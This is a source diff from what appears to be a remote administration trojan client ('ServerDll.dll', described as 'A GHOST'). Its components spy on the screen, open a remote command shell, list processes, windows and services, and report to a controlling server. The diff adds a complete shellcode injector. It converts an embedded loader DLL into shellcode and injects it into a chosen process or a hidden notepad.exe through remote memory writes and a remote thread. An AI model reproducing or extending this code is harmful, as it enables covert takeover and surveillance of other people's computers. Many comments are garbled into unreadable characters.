char text[_MAX_PATH] = {};
|
||||||
|
GetWindowText(hWnd, text, sizeof(text));
|
||||||
|
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
|
||||||
|
}
|
||||||
|
|
||||||
|
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
|
||||||
|
static BOOL result = GetVersionExA(&versionInfo);
|
||||||
|
if (versionInfo.dwMajorVersion < 6) {
|
||||||
|
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
|
||||||
|
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
|
||||||
|
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||||
|
|
||||||
virtual LPBYTE ScanNextScreen() {
|
virtual LPBYTE ScanNextScreen() {
|
||||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||||
return (LPBYTE)m_DiffBitmapData_Full;
|
return (LPBYTE)m_DiffBitmapData_Full;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
|||||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,0,8
|
FILEVERSION 1,0,1,2
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.0.8"
|
VALUE "FileVersion", "1.0.1.2"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
|
|||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -32,10 +32,12 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
if(m_hReadPipeHandle != NULL)
|
if(m_hReadPipeHandle != NULL)
|
||||||
{
|
{
|
||||||
CloseHandle(m_hReadPipeHandle);
|
CloseHandle(m_hReadPipeHandle);
|
||||||
|
m_hReadPipeHandle = NULL;
|
||||||
}
|
}
|
||||||
if(m_hWritePipeShell != NULL)
|
if(m_hWritePipeShell != NULL)
|
||||||
{
|
{
|
||||||
CloseHandle(m_hWritePipeShell);
|
CloseHandle(m_hWritePipeShell);
|
||||||
|
m_hWritePipeShell = NULL;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -45,10 +47,12 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
if(m_hWritePipeHandle != NULL)
|
if(m_hWritePipeHandle != NULL)
|
||||||
{
|
{
|
||||||
CloseHandle(m_hWritePipeHandle);
|
CloseHandle(m_hWritePipeHandle);
|
||||||
|
m_hWritePipeHandle = NULL;
|
||||||
}
|
}
|
||||||
if(m_hReadPipeShell != NULL)
|
if(m_hReadPipeShell != NULL)
|
||||||
{
|
{
|
||||||
CloseHandle(m_hReadPipeShell);
|
CloseHandle(m_hReadPipeShell);
|
||||||
|
m_hReadPipeShell = NULL;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -82,10 +86,10 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
||||||
{
|
{
|
||||||
CloseHandle(m_hReadPipeHandle);
|
CloseHandle(m_hReadPipeHandle); m_hReadPipeHandle = NULL;
|
||||||
CloseHandle(m_hWritePipeHandle);
|
CloseHandle(m_hWritePipeHandle); m_hWritePipeHandle = NULL;
|
||||||
CloseHandle(m_hReadPipeShell);
|
CloseHandle(m_hReadPipeShell); m_hReadPipeShell = NULL;
|
||||||
CloseHandle(m_hWritePipeShell);
|
CloseHandle(m_hWritePipeShell); m_hWritePipeShell = NULL;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -93,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
m_hShellThreadHandle = pi.hThread;
|
m_hShellThreadHandle = pi.hThread;
|
||||||
|
|
||||||
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
|
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
|
||||||
@@ -127,11 +131,13 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
|||||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||||
int length = int(dwReturn) - This->m_nCmdLength;
|
int length = int(dwReturn) - This->m_nCmdLength;
|
||||||
if (length > 0)
|
if (length > 0)
|
||||||
This->m_ClientObject->OnServerSending(pStart, length);
|
This->m_ClientObject->Send2Server(pStart, length);
|
||||||
|
|
||||||
LocalFree(szTotalBuffer);
|
LocalFree(szTotalBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
CloseHandle(This->m_hThreadRead);
|
||||||
|
This->m_hThreadRead = NULL;
|
||||||
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
|
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -187,9 +193,8 @@ CShellManager::~CShellManager()
|
|||||||
CloseHandle(m_hWritePipeShell);
|
CloseHandle(m_hWritePipeShell);
|
||||||
m_hWritePipeShell = NULL;
|
m_hWritePipeShell = NULL;
|
||||||
}
|
}
|
||||||
if (m_hThreadRead)
|
while (m_hThreadRead)
|
||||||
{
|
{
|
||||||
CloseHandle(m_hThreadRead);
|
Sleep(200); // wait for thread to exit
|
||||||
m_hThreadRead = NULL;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
185
client/ShellcodeInj.h
Normal file
185
client/ShellcodeInj.h
Normal file
@@ -0,0 +1,185 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include <string>
|
||||||
|
#include <iostream>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
|
#include "SCLoader.cpp"
|
||||||
|
|
||||||
|
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||||
|
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||||||
|
|
||||||
|
// A shell code injector.
|
||||||
|
class ShellcodeInj
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
// Return the process id if inject succeed.
|
||||||
|
int InjectProcess(const char* processName = nullptr) {
|
||||||
|
if (processName) {
|
||||||
|
auto pid = GetProcessIdByName(processName);
|
||||||
|
if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false)
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
PROCESS_INFORMATION pi = {};
|
||||||
|
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||||
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||||
|
si.wShowWindow = SW_HIDE; // hide the window
|
||||||
|
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
return InjectShellcode(pi.dwProcessId, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pi.dwProcessId : 0;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
// Find process id by name.
|
||||||
|
DWORD GetProcessIdByName(const std::string& procName) {
|
||||||
|
DWORD pid = 0;
|
||||||
|
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (hSnap != INVALID_HANDLE_VALUE) {
|
||||||
|
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||||||
|
if (Process32First(hSnap, &pe32)) {
|
||||||
|
do {
|
||||||
|
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||||||
|
pid = pe32.th32ProcessID;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Process32Next(hSnap, &pe32));
|
||||||
|
}
|
||||||
|
CloseHandle(hSnap);
|
||||||
|
}
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the process is 64bit.
|
||||||
|
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||||||
|
{
|
||||||
|
BOOL bWow64 = FALSE;
|
||||||
|
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||||||
|
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||||
|
|
||||||
|
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||||||
|
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||||||
|
|
||||||
|
if (fnIsWow64Process2)
|
||||||
|
{
|
||||||
|
USHORT processMachine = 0, nativeMachine = 0;
|
||||||
|
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
|
||||||
|
{
|
||||||
|
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Old system use IsWow64Process
|
||||||
|
if (IsWow64Process(hProcess, &bWow64))
|
||||||
|
{
|
||||||
|
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if it's able to inject.
|
||||||
|
HANDLE CheckProcess(DWORD pid) {
|
||||||
|
HANDLE hProcess = OpenProcess(
|
||||||
|
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||||
|
FALSE, pid);
|
||||||
|
if (!hProcess) {
|
||||||
|
Mprintf("OpenProcess failed. PID: %d\n", pid);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check process and system architecture.
|
||||||
|
BOOL targetIs64Bit = FALSE;
|
||||||
|
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||||||
|
if (!success) {
|
||||||
|
Mprintf("Get architecture failed \n");
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||||||
|
if (selfIs64Bit != targetIs64Bit) {
|
||||||
|
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
|
||||||
|
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
return hProcess;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
|
||||||
|
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||||||
|
LPSTR finalShellcode = NULL;
|
||||||
|
DWORD finalSize;
|
||||||
|
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
compressedBuffer = new BYTE[finalSize];
|
||||||
|
ulTotalSize = finalSize;
|
||||||
|
|
||||||
|
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||||||
|
free(finalShellcode);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Inject shell code to target process.
|
||||||
|
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
|
||||||
|
HANDLE hProcess = CheckProcess(pid);
|
||||||
|
if (!hProcess)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
// Convert DLL -> Shell code.
|
||||||
|
LPBYTE shellcode = NULL;
|
||||||
|
int len = 0;
|
||||||
|
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
|
||||||
|
Mprintf("MakeShellcode failed \n");
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (!remoteBuffer) {
|
||||||
|
Mprintf("VirtualAllocEx failed \n");
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||||||
|
Mprintf("WriteProcessMemory failed \n");
|
||||||
|
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
delete[] shellcode;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
delete[] shellcode;
|
||||||
|
|
||||||
|
// Shell code entry.
|
||||||
|
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||||||
|
|
||||||
|
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||||||
|
if (!hThread) {
|
||||||
|
Mprintf("CreateRemoteThread failed \n");
|
||||||
|
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
|
||||||
|
Mprintf("Finish injecting to PID: %d\n", pid);
|
||||||
|
|
||||||
|
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -24,12 +24,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
|
||||||
#else
|
|
||||||
#define Mprintf(format, ...)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||||
#include "vld.h"
|
#include "vld.h"
|
||||||
|
|
||||||
@@ -49,49 +43,6 @@
|
|||||||
#include <MMSystem.h>
|
#include <MMSystem.h>
|
||||||
#pragma comment(lib, "winmm.lib")
|
#pragma comment(lib, "winmm.lib")
|
||||||
|
|
||||||
// <20>߾<EFBFBD><DFBE>ȵ<EFBFBD>˯<EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD>
|
|
||||||
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
|
|
||||||
|
|
||||||
// <20>Բ<EFBFBD><D4B2><EFBFBD>n<EFBFBD><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD>µȴ<C2B5>T<EFBFBD><54>(n<>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1000)
|
|
||||||
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>10ms)
|
|
||||||
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>1ms)
|
|
||||||
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
|
|
||||||
|
|
||||||
#include <time.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
// <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㺯<EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ
|
|
||||||
class auto_tick
|
|
||||||
{
|
|
||||||
private:
|
|
||||||
const char *func;
|
|
||||||
int span;
|
|
||||||
clock_t tick;
|
|
||||||
__inline clock_t now() const { return clock(); }
|
|
||||||
__inline int time() const { return now() - tick; }
|
|
||||||
|
|
||||||
public:
|
|
||||||
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
|
||||||
~auto_tick() { stop(); }
|
|
||||||
|
|
||||||
__inline void stop() {
|
|
||||||
if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
#ifdef _DEBUG
|
|
||||||
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
|
||||||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
|
||||||
#define STOP_TICK TICK.stop()
|
|
||||||
#else
|
|
||||||
#define AUTO_TICK(thresh)
|
|
||||||
#define STOP_TICK
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifndef SAFE_DELETE
|
#ifndef SAFE_DELETE
|
||||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||||
#endif
|
#endif
|
||||||
@@ -100,27 +51,9 @@ public:
|
|||||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
class CLock
|
#ifndef SAFE_DELETE_AR
|
||||||
{
|
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||||
private:
|
#endif
|
||||||
CRITICAL_SECTION m_cs;
|
|
||||||
public:
|
|
||||||
CLock()
|
|
||||||
{
|
|
||||||
InitializeCriticalSection(&m_cs);
|
|
||||||
}
|
|
||||||
~CLock()
|
|
||||||
{
|
|
||||||
DeleteCriticalSection(&m_cs);
|
|
||||||
}
|
|
||||||
|
|
||||||
void Unlock()
|
#include "common/logger.h"
|
||||||
{
|
#include "common/locker.h"
|
||||||
LeaveCriticalSection(&m_cs);
|
|
||||||
}
|
|
||||||
|
|
||||||
void Lock()
|
|
||||||
{
|
|
||||||
EnterCriticalSection(&m_cs);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|||||||
@@ -16,11 +16,6 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"psapi.lib")
|
#pragma comment(lib,"psapi.lib")
|
||||||
|
|
||||||
enum
|
|
||||||
{
|
|
||||||
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
|
|
||||||
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
};
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -44,7 +39,7 @@ VOID CSystemManager::SendProcessList()
|
|||||||
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
|
|
||||||
szBuffer = NULL;
|
szBuffer = NULL;
|
||||||
@@ -56,7 +51,7 @@ void CSystemManager::SendWindowsList()
|
|||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -184,7 +179,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WINDOW_CLOSE:
|
case CMD_WINDOW_CLOSE:
|
||||||
{
|
{
|
||||||
HWND hWnd = *((HWND*)(szBuffer+1));
|
HWND hWnd = *((HWND*)(szBuffer+1));
|
||||||
|
|
||||||
@@ -195,7 +190,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
case CMD_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
TestWindow(szBuffer+1);
|
TestWindow(szBuffer+1);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
|
|||||||
g_Event = 0;
|
g_Event = 0;
|
||||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||||
BYTE bToken = TOKEN_TALK_START;
|
BYTE bToken = TOKEN_TALK_START;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||||
}
|
}
|
||||||
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
|||||||
{
|
{
|
||||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT;
|
BYTE bToken = TOKEN_TALKCMPLT;
|
||||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
EndDialog(hDlg, LOWORD(wParam));
|
EndDialog(hDlg, LOWORD(wParam));
|
||||||
return (INT_PTR)TRUE;
|
return (INT_PTR)TRUE;
|
||||||
}
|
}
|
||||||
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
|||||||
{
|
{
|
||||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
